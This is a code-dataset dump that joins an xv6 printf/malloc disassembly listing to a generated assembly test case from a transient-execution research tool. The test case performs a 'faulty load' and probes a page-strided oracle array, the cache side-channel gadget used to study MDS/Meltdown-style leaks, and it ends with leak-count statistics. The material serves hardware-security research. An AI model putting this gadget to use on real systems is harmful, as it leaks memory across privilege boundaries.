644: 89 45 f4 mov %eax,-0xc(%ebp)
647: 8b 5d 10 mov 0x10(%ebp),%ebx
64a: 8b 45 ec mov -0x14(%ebp),%eax
64d: ba 00 00 00 00 mov $0x0,%edx
652: f7 f3 div %ebx
654: 89 d0 mov %edx,%eax
656: 0f b6 80 48 0d 00 00 movzbl 0xd48(%eax),%eax
65d: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
661: 8b 5d 10 mov 0x10(%ebp),%ebx
664: 8b 45 ec mov -0x14(%ebp),%eax
667: ba 00 00 00 00 mov $0x0,%edx
66c: f7 f3 div %ebx
66e: 89 45 ec mov %eax,-0x14(%ebp)
671: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
675: 75 c7 jne 63e <printint+0x38>
if(neg)
677: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
67b: 74 2d je 6aa <printint+0xa4>
buf[i++] = '-';
67d: 8b 45 f4 mov -0xc(%ebp),%eax
680: 8d 50 01 lea 0x1(%eax),%edx
683: 89 55 f4 mov %edx,-0xc(%ebp)
686: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
68b: eb 1d jmp 6aa <printint+0xa4>
putc(fd, buf[i]);
68d: 8d 55 dc lea -0x24(%ebp),%edx
690: 8b 45 f4 mov -0xc(%ebp),%eax
693: 01 d0 add %edx,%eax
695: 0f b6 00 movzbl (%eax),%eax
698: 0f be c0 movsbl %al,%eax
69b: 83 ec 08 sub $0x8,%esp
69e: 50 push %eax
69f: ff 75 08 pushl 0x8(%ebp)
6a2: e8 3c ff ff ff call 5e3 <putc>
6a7: 83 c4 10 add $0x10,%esp
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
6aa: 83 6d f4 01 subl $0x1,-0xc(%ebp)
6ae: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
6b2: 79 d9 jns 68d <printint+0x87>
putc(fd, buf[i]);
}
6b4: 90 nop
6b5: 8b 5d fc mov -0x4(%ebp),%ebx
6b8: c9 leave
6b9: c3 ret
000006ba <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
6ba: 55 push %ebp
6bb: 89 e5 mov %esp,%ebp
6bd: 83 ec 28 sub $0x28,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
6c0: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
6c7: 8d 45 0c lea 0xc(%ebp),%eax
6ca: 83 c0 04 add $0x4,%eax
6cd: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
6d0: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
6d7: e9 59 01 00 00 jmp 835 <printf+0x17b>
c = fmt[i] & 0xff;
6dc: 8b 55 0c mov 0xc(%ebp),%edx
6df: 8b 45 f0 mov -0x10(%ebp),%eax
6e2: 01 d0 add %edx,%eax
6e4: 0f b6 00 movzbl (%eax),%eax
6e7: 0f be c0 movsbl %al,%eax
6ea: 25 ff 00 00 00 and $0xff,%eax
6ef: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
6f2: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
6f6: 75 2c jne 724 <printf+0x6a>
if(c == '%'){
6f8: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
6fc: 75 0c jne 70a <printf+0x50>
state = '%';
6fe: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
705: e9 27 01 00 00 jmp 831 <printf+0x177>
} else {
putc(fd, c);
70a: 8b 45 e4 mov -0x1c(%ebp),%eax
70d: 0f be c0 movsbl %al,%eax
710: 83 ec 08 sub $0x8,%esp
713: 50 push %eax
714: ff 75 08 pushl 0x8(%ebp)
717: e8 c7 fe ff ff call 5e3 <putc>
71c: 83 c4 10 add $0x10,%esp
71f: e9 0d 01 00 00 jmp 831 <printf+0x177>
}
} else if(state == '%'){
724: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
728: 0f 85 03 01 00 00 jne 831 <printf+0x177>
if(c == 'd'){
72e: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
732: 75 1e jne 752 <printf+0x98>
printint(fd, *ap, 10, 1);
734: 8b 45 e8 mov -0x18(%ebp),%eax
737: 8b 00 mov (%eax),%eax
739: 6a 01 push $0x1
73b: 6a 0a push $0xa
73d: 50 push %eax
73e: ff 75 08 pushl 0x8(%ebp)
741: e8 c0 fe ff ff call 606 <printint>
746: 83 c4 10 add $0x10,%esp
ap++;
749: 83 45 e8 04 addl $0x4,-0x18(%ebp)
74d: e9 d8 00 00 00 jmp 82a <printf+0x170>
} else if(c == 'x' || c == 'p'){
752: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
756: 74 06 je 75e <printf+0xa4>
758: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
75c: 75 1e jne 77c <printf+0xc2>
printint(fd, *ap, 16, 0);
75e: 8b 45 e8 mov -0x18(%ebp),%eax
761: 8b 00 mov (%eax),%eax
763: 6a 00 push $0x0
765: 6a 10 push $0x10
767: 50 push %eax
768: ff 75 08 pushl 0x8(%ebp)
76b: e8 96 fe ff ff call 606 <printint>
770: 83 c4 10 add $0x10,%esp
ap++;
773: 83 45 e8 04 addl $0x4,-0x18(%ebp)
777: e9 ae 00 00 00 jmp 82a <printf+0x170>
} else if(c == 's'){
77c: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
780: 75 43 jne 7c5 <printf+0x10b>
s = (char*)*ap;
782: 8b 45 e8 mov -0x18(%ebp),%eax
785: 8b 00 mov (%eax),%eax
787: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
78a: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
78e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
792: 75 25 jne 7b9 <printf+0xff>
s = "(null)";
794: c7 45 f4 d4 0a 00 00 movl $0xad4,-0xc(%ebp)
while(*s != 0){
79b: eb 1c jmp 7b9 <printf+0xff>
putc(fd, *s);
79d: 8b 45 f4 mov -0xc(%ebp),%eax
7a0: 0f b6 00 movzbl (%eax),%eax
7a3: 0f be c0 movsbl %al,%eax
7a6: 83 ec 08 sub $0x8,%esp
7a9: 50 push %eax
7aa: ff 75 08 pushl 0x8(%ebp)
7ad: e8 31 fe ff ff call 5e3 <putc>
7b2: 83 c4 10 add $0x10,%esp
s++;
7b5: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
7b9: 8b 45 f4 mov -0xc(%ebp),%eax
7bc: 0f b6 00 movzbl (%eax),%eax
7bf: 84 c0 test %al,%al
7c1: 75 da jne 79d <printf+0xe3>
7c3: eb 65 jmp 82a <printf+0x170>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
7c5: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
7c9: 75 1d jne 7e8 <printf+0x12e>
putc(fd, *ap);
7cb: 8b 45 e8 mov -0x18(%ebp),%eax
7ce: 8b 00 mov (%eax),%eax
7d0: 0f be c0 movsbl %al,%eax
7d3: 83 ec 08 sub $0x8,%esp
7d6: 50 push %eax
7d7: ff 75 08 pushl 0x8(%ebp)
7da: e8 04 fe ff ff call 5e3 <putc>
7df: 83 c4 10 add $0x10,%esp
ap++;
7e2: 83 45 e8 04 addl $0x4,-0x18(%ebp)
7e6: eb 42 jmp 82a <printf+0x170>
} else if(c == '%'){
7e8: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
7ec: 75 17 jne 805 <printf+0x14b>
putc(fd, c);
7ee: 8b 45 e4 mov -0x1c(%ebp),%eax
7f1: 0f be c0 movsbl %al,%eax
7f4: 83 ec 08 sub $0x8,%esp
7f7: 50 push %eax
7f8: ff 75 08 pushl 0x8(%ebp)
7fb: e8 e3 fd ff ff call 5e3 <putc>
800: 83 c4 10 add $0x10,%esp
803: eb 25 jmp 82a <printf+0x170>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
805: 83 ec 08 sub $0x8,%esp
808: 6a 25 push $0x25
80a: ff 75 08 pushl 0x8(%ebp)
80d: e8 d1 fd ff ff call 5e3 <putc>
812: 83 c4 10 add $0x10,%esp
putc(fd, c);
815: 8b 45 e4 mov -0x1c(%ebp),%eax
818: 0f be c0 movsbl %al,%eax
81b: 83 ec 08 sub $0x8,%esp
81e: 50 push %eax
81f: ff 75 08 pushl 0x8(%ebp)
822: e8 bc fd ff ff call 5e3 <putc>
827: 83 c4 10 add $0x10,%esp
}
state = 0;
82a: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
831: 83 45 f0 01 addl $0x1,-0x10(%ebp)
835: 8b 55 0c mov 0xc(%ebp),%edx
838: 8b 45 f0 mov -0x10(%ebp),%eax
83b: 01 d0 add %edx,%eax
83d: 0f b6 00 movzbl (%eax),%eax
840: 84 c0 test %al,%al
842: 0f 85 94 fe ff ff jne 6dc <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
848: 90 nop
849: c9 leave
84a: c3 ret
0000084b <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
84b: 55 push %ebp
84c: 89 e5 mov %esp,%ebp
84e: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
851: 8b 45 08 mov 0x8(%ebp),%eax
854: 83 e8 08 sub $0x8,%eax
857: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
85a: a1 64 0d 00 00 mov 0xd64,%eax
85f: 89 45 fc mov %eax,-0x4(%ebp)
862: eb 24 jmp 888 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
864: 8b 45 fc mov -0x4(%ebp),%eax
867: 8b 00 mov (%eax),%eax
869: 3b 45 fc cmp -0x4(%ebp),%eax
86c: 77 12 ja 880 <free+0x35>
86e: 8b 45 f8 mov -0x8(%ebp),%eax
871: 3b 45 fc cmp -0x4(%ebp),%eax
874: 77 24 ja 89a <free+0x4f>
876: 8b 45 fc mov -0x4(%ebp),%eax
879: 8b 00 mov (%eax),%eax
87b: 3b 45 f8 cmp -0x8(%ebp),%eax
87e: 77 1a ja 89a <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
880: 8b 45 fc mov -0x4(%ebp),%eax
883: 8b 00 mov (%eax),%eax
885: 89 45 fc mov %eax,-0x4(%ebp)
888: 8b 45 f8 mov -0x8(%ebp),%eax
88b: 3b 45 fc cmp -0x4(%ebp),%eax
88e: 76 d4 jbe 864 <free+0x19>
890: 8b 45 fc mov -0x4(%ebp),%eax
893: 8b 00 mov (%eax),%eax
895: 3b 45 f8 cmp -0x8(%ebp),%eax
898: 76 ca jbe 864 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
89a: 8b 45 f8 mov -0x8(%ebp),%eax
89d: 8b 40 04 mov 0x4(%eax),%eax
8a0: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
8a7: 8b 45 f8 mov -0x8(%ebp),%eax
8aa: 01 c2 add %eax,%edx
8ac: 8b 45 fc mov -0x4(%ebp),%eax
8af: 8b 00 mov (%eax),%eax
8b1: 39 c2 cmp %eax,%edx
8b3: 75 24 jne 8d9 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
8b5: 8b 45 f8 mov -0x8(%ebp),%eax
8b8: 8b 50 04 mov 0x4(%eax),%edx
8bb: 8b 45 fc mov -0x4(%ebp),%eax
8be: 8b 00 mov (%eax),%eax
8c0: 8b 40 04 mov 0x4(%eax),%eax
8c3: 01 c2 add %eax,%edx
8c5: 8b 45 f8 mov -0x8(%ebp),%eax
8c8: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
8cb: 8b 45 fc mov -0x4(%ebp),%eax
8ce: 8b 00 mov (%eax),%eax
8d0: 8b 10 mov (%eax),%edx
8d2: 8b 45 f8 mov -0x8(%ebp),%eax
8d5: 89 10 mov %edx,(%eax)
8d7: eb 0a jmp 8e3 <free+0x98>
} else
bp->s.ptr = p->s.ptr;
8d9: 8b 45 fc mov -0x4(%ebp),%eax
8dc: 8b 10 mov (%eax),%edx
8de: 8b 45 f8 mov -0x8(%ebp),%eax
8e1: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
8e3: 8b 45 fc mov -0x4(%ebp),%eax
8e6: 8b 40 04 mov 0x4(%eax),%eax
8e9: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
8f0: 8b 45 fc mov -0x4(%ebp),%eax
8f3: 01 d0 add %edx,%eax
8f5: 3b 45 f8 cmp -0x8(%ebp),%eax
8f8: 75 20 jne 91a <free+0xcf>
p->s.size += bp->s.size;
8fa: 8b 45 fc mov -0x4(%ebp),%eax
8fd: 8b 50 04 mov 0x4(%eax),%edx
900: 8b 45 f8 mov -0x8(%ebp),%eax
903: 8b 40 04 mov 0x4(%eax),%eax
906: 01 c2 add %eax,%edx
908: 8b 45 fc mov -0x4(%ebp),%eax
90b: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
90e: 8b 45 f8 mov -0x8(%ebp),%eax
911: 8b 10 mov (%eax),%edx
913: 8b 45 fc mov -0x4(%ebp),%eax
916: 89 10 mov %edx,(%eax)
918: eb 08 jmp 922 <free+0xd7>
} else
p->s.ptr = bp;
91a: 8b 45 fc mov -0x4(%ebp),%eax
91d: 8b 55 f8 mov -0x8(%ebp),%edx
920: 89 10 mov %edx,(%eax)
freep = p;
922: 8b 45 fc mov -0x4(%ebp),%eax
925: a3 64 0d 00 00 mov %eax,0xd64
}
92a: 90 nop
92b: c9 leave
92c: c3 ret
0000092d <morecore>:
static Header*
morecore(uint nu)
{
92d: 55 push %ebp
92e: 89 e5 mov %esp,%ebp
930: 83 ec 18 sub $0x18,%esp
char *p;
Header *hp;
if(nu < 4096)
933: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
93a: 77 07 ja 943 <morecore+0x16>
nu = 4096;
93c: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
943: 8b 45 08 mov 0x8(%ebp),%eax
946: c1 e0 03 shl $0x3,%eax
949: 83 ec 0c sub $0xc,%esp
94c: 50 push %eax
94d: e8 79 fc ff ff call 5cb <sbrk>
952: 83 c4 10 add $0x10,%esp
955: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
958: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
95c: 75 07 jne 965 <morecore+0x38>
return 0;
95e: b8 00 00 00 00 mov $0x0,%eax
963: eb 26 jmp 98b <morecore+0x5e>
hp = (Header*)p;
965: 8b 45 f4 mov -0xc(%ebp),%eax
968: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
96b: 8b 45 f0 mov -0x10(%ebp),%eax
96e: 8b 55 08 mov 0x8(%ebp),%edx
971: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
974: 8b 45 f0 mov -0x10(%ebp),%eax
977: 83 c0 08 add $0x8,%eax
97a: 83 ec 0c sub $0xc,%esp
97d: 50 push %eax
97e: e8 c8 fe ff ff call 84b <free>
983: 83 c4 10 add $0x10,%esp
return freep;
986: a1 64 0d 00 00 mov 0xd64,%eax
}
98b: c9 leave
98c: c3 ret
0000098d <malloc>:
void*
malloc(uint nbytes)
{
98d: 55 push %ebp
98e: 89 e5 mov %esp,%ebp
990: 83 ec 18 sub $0x18,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
993: 8b 45 08 mov 0x8(%ebp),%eax
996: 83 c0 07 add $0x7,%eax
999: c1 e8 03 shr $0x3,%eax
99c: 83 c0 01 add $0x1,%eax
99f: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
9a2: a1 64 0d 00 00 mov 0xd64,%eax
9a7: 89 45 f0 mov %eax,-0x10(%ebp)
9aa: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
9ae: 75 23 jne 9d3 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
9b0: c7 45 f0 5c 0d 00 00 movl $0xd5c,-0x10(%ebp)
9b7: 8b 45 f0 mov -0x10(%ebp),%eax
9ba: a3 64 0d 00 00 mov %eax,0xd64
9bf: a1 64 0d 00 00 mov 0xd64,%eax
9c4: a3 5c 0d 00 00 mov %eax,0xd5c
base.s.size = 0;
9c9: c7 05 60 0d 00 00 00 movl $0x0,0xd60
9d0: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
9d3: 8b 45 f0 mov -0x10(%ebp),%eax
9d6: 8b 00 mov (%eax),%eax
9d8: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
9db: 8b 45 f4 mov -0xc(%ebp),%eax
9de: 8b 40 04 mov 0x4(%eax),%eax
9e1: 3b 45 ec cmp -0x14(%ebp),%eax
9e4: 72 4d jb a33 <malloc+0xa6>
if(p->s.size == nunits)
9e6: 8b 45 f4 mov -0xc(%ebp),%eax
9e9: 8b 40 04 mov 0x4(%eax),%eax
9ec: 3b 45 ec cmp -0x14(%ebp),%eax
9ef: 75 0c jne 9fd <malloc+0x70>
prevp->s.ptr = p->s.ptr;
9f1: 8b 45 f4 mov -0xc(%ebp),%eax
9f4: 8b 10 mov (%eax),%edx
9f6: 8b 45 f0 mov -0x10(%ebp),%eax
9f9: 89 10 mov %edx,(%eax)
9fb: eb 26 jmp a23 <malloc+0x96>
else {
p->s.size -= nunits;
9fd: 8b 45 f4 mov -0xc(%ebp),%eax
a00: 8b 40 04 mov 0x4(%eax),%eax
a03: 2b 45 ec sub -0x14(%ebp),%eax
a06: 89 c2 mov %eax,%edx
a08: 8b 45 f4 mov -0xc(%ebp),%eax
a0b: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
a0e: 8b 45 f4 mov -0xc(%ebp),%eax
a11: 8b 40 04 mov 0x4(%eax),%eax
a14: c1 e0 03 shl $0x3,%eax
a17: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
a1a: 8b 45 f4 mov -0xc(%ebp),%eax
a1d: 8b 55 ec mov -0x14(%ebp),%edx
a20: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
a23: 8b 45 f0 mov -0x10(%ebp),%eax
a26: a3 64 0d 00 00 mov %eax,0xd64
return (void*)(p + 1);
a2b: 8b 45 f4 mov -0xc(%ebp),%eax
a2e: 83 c0 08 add $0x8,%eax
a31: eb 3b jmp a6e <malloc+0xe1>
}
if(p == freep)
a33: a1 64 0d 00 00 mov 0xd64,%eax
a38: 39 45 f4 cmp %eax,-0xc(%ebp)
a3b: 75 1e jne a5b <malloc+0xce>
if((p = morecore(nunits)) == 0)
a3d: 83 ec 0c sub $0xc,%esp
a40: ff 75 ec pushl -0x14(%ebp)
a43: e8 e5 fe ff ff call 92d <morecore>
a48: 83 c4 10 add $0x10,%esp
a4b: 89 45 f4 mov %eax,-0xc(%ebp)
a4e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
a52: 75 07 jne a5b <malloc+0xce>
return 0;
a54: b8 00 00 00 00 mov $0x0,%eax
a59: eb 13 jmp a6e <malloc+0xe1>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
a5b: 8b 45 f4 mov -0xc(%ebp),%eax
a5e: 89 45 f0 mov %eax,-0x10(%ebp)
a61: 8b 45 f4 mov -0xc(%ebp),%eax
a64: 8b 00 mov (%eax),%eax
a66: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
a69: e9 6d ff ff ff jmp 9db <malloc+0x4e>
}
a6e: c9 leave
a6f: c3 ret
| 34.6937 | 60 | 0.428318 |
fcd660fc000fb292c94c5a804f992ff4ff9e917e | 7,548 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_ht_zr_/i7-7700_9_0xca.log_21829_1204.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_ht_zr_/i7-7700_9_0xca.log_21829_1204.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_ht_zr_/i7-7700_9_0xca.log_21829_1204.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x1680c, %rsi
lea addresses_normal_ht+0x14ad0, %rdi
nop
nop
nop
and %rdx, %rdx
mov $54, %rcx
rep movsl
sub $26929, %r11
lea addresses_D_ht+0x10d8c, %rsi
lea addresses_A_ht+0x1d70c, %rdi
nop
nop
nop
nop
inc %r9
mov $12, %rcx
rep movsl
nop
nop
nop
nop
nop
and %rsi, %rsi
lea addresses_normal_ht+0x4d0c, %r9
clflush (%r9)
nop
nop
nop
nop
sub $28465, %rbp
mov (%r9), %di
nop
nop
add $21103, %rsi
lea addresses_WT_ht+0x19c44, %rdi
cmp $22033, %rdx
mov (%rdi), %r11d
cmp %rdi, %rdi
lea addresses_UC_ht+0x10a6c, %rsi
lea addresses_WC_ht+0xd4c, %rdi
nop
nop
nop
nop
nop
and $51368, %rbx
mov $63, %rcx
rep movsq
nop
nop
nop
nop
nop
add %r11, %r11
lea addresses_D_ht+0xe90c, %rdi
nop
xor %rbx, %rbx
movw $0x6162, (%rdi)
nop
dec %rbp
lea addresses_WC_ht+0x1258c, %rbp
nop
nop
nop
nop
dec %rdx
vmovups (%rbp), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $0, %xmm0, %rdi
nop
nop
nop
sub %r11, %r11
lea addresses_normal_ht+0x1228c, %rbp
nop
nop
nop
xor $23386, %rdi
mov (%rbp), %edx
nop
nop
cmp $40019, %rbx
lea addresses_normal_ht+0x70b4, %r9
nop
nop
nop
cmp %rdx, %rdx
vmovups (%r9), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $1, %xmm3, %rcx
nop
nop
nop
nop
add %rcx, %rcx
lea addresses_WC_ht+0x1e90c, %rsi
lea addresses_D_ht+0x1a4cc, %rdi
nop
sub %rbx, %rbx
mov $108, %rcx
rep movsq
and %rsi, %rsi
lea addresses_UC_ht+0x13cc, %r9
dec %rcx
mov (%r9), %di
nop
nop
nop
dec %r9
lea addresses_WC_ht+0x14d0c, %r11
nop
nop
nop
dec %rbx
movb $0x61, (%r11)
nop
nop
nop
xor $34400, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r9
push %rbp
push %rdi
push %rdx
push %rsi
// Load
lea addresses_PSE+0xfa2c, %rbp
nop
nop
nop
nop
nop
dec %rdx
movups (%rbp), %xmm6
vpextrq $0, %xmm6, %r12
nop
and $33817, %r10
// Store
lea addresses_A+0x1a04c, %rdi
nop
nop
nop
nop
nop
and $18190, %rsi
movb $0x51, (%rdi)
nop
nop
xor $7493, %rdi
// Faulty Load
lea addresses_PSE+0x1790c, %rsi
nop
and $34354, %r12
vmovntdqa (%rsi), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $1, %xmm0, %r10
lea oracles, %r9
and $0xff, %r10
shlq $12, %r10
mov (%r9,%r10,1), %r10
pop %rsi
pop %rdx
pop %rdi
pop %rbp
pop %r9
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
{'src': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_A'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 32, 'NT': True, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 3, 'AVXalign': False, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 2, 'NT': True, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 5, 'AVXalign': True, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WC_ht'}}
{'46': 343, '44': 59, '48': 7559, '00': 13868}
48 00 00 00 00 00 00 48 48 48 48 00 00 00 00 00 00 00 00 48 48 48 48 46 00 00 00 00 00 00 00 48 48 48 48 48 48 48 00 00 00 00 00 00 00 00 48 48 48 48 00 48 48 00 00 00 00 00 00 00 48 48 48 48 48 48 48 46 00 00 00 00 00 00 00 00 00 48 48 48 48 00 00 00 00 00 00 00 00 00 48 48 48 00 00 48 00 00 00 00 00 00 00 48 48 48 48 00 00 00 00 00 00 00 00 48 48 48 48 48 46 00 00 00 00 00 00 00 48 48 48 48 48 00 00 00 00 00 00 00 48 48 48 46 00 00 00 00 00 00 00 00 48 48 48 48 48 00 00 00 00 00 00 00 00 48 48 48 48 00 00 00 00 00 00 00 00 00 48 48 48 00 48 00 00 00 00 00 00 00 00 48 48 48 48 48 00 00 00 00 00 00 00 00 00 48 48 48 48 48 48 46 00 00 00 00 00 00 00 48 48 48 48 48 48 00 00 00 00 00 00 00 00 48 48 48 48 00 00 00 00 00 00 00 00 00 48 48 48 48 00 48 00 00 00 00 00 00 00 00 48 48 48 00 00 00 00 00 00 00 00 48 48 48 00 00 00 00 00 00 00 00 48 48 48 48 00 48 00 00 00 00 00 00 00 48 48 48 48 48 48 00 00 00 00 00 00 00 00 48 48 48 48 00 00 00 00 00 00 00 00 00 00 48 48 48 48 48 00 00 00 00 00 00 00 00 48 48 48 48 46 00 00 00 00 00 00 00 00 48 48 48 48 48 48 00 00 00 00 00 00 00 00 48 48 48 48 00 48 00 00 00 00 00 00 00 48 48 48 48 48 48 00 00 00 00 00 00 00 00 48 48 00 48 00 00 00 00 00 00 00 00 00 48 48 48 48 46 00 00 00 00 00 00 00 48 48 48 48 48 00 00 00 00 00 00 48 48 48 00 46 00 00 00 00 00 00 48 48 48 48 00 00 00 00 00 00 00 00 00 48 48 48 00 48 00 00 00 00 00 00 00 48 48 48 48 48 48 48 00 00 00 00 00 00 00 00 48 48 48 48 48 48 00 00 00 00 00 00 00 48 48 48 00 46 00 00 00 00 00 00 00 00 48 48 48 48 00 00 00 00 00 00 00 00 00 48 48 48 48 00 00 00 00 00 00 00 00 00 48 48 48 00 46 00 00 00 00 00 00 00 00 00 48 48 48 46 00 00 00 00 00 00 00 48 48 48 48 48 00 00 00 00 00 00 00 00 48 48 48 48 00 48 00 00 00 00 00 00 00 00 48 48 48 48 48 48 48 00 00 00 00 00 00 00 00 48 48 48 48 00 48 00 00 00 00 00 00 00 48 48 48 48 48 00 00 00 00 00 00 48 48 48 48 48 48 00 00 00 00 00 00 00 00 00 48 48 46 48 00 00 00 00 00 00 00 00 00 48 48 48 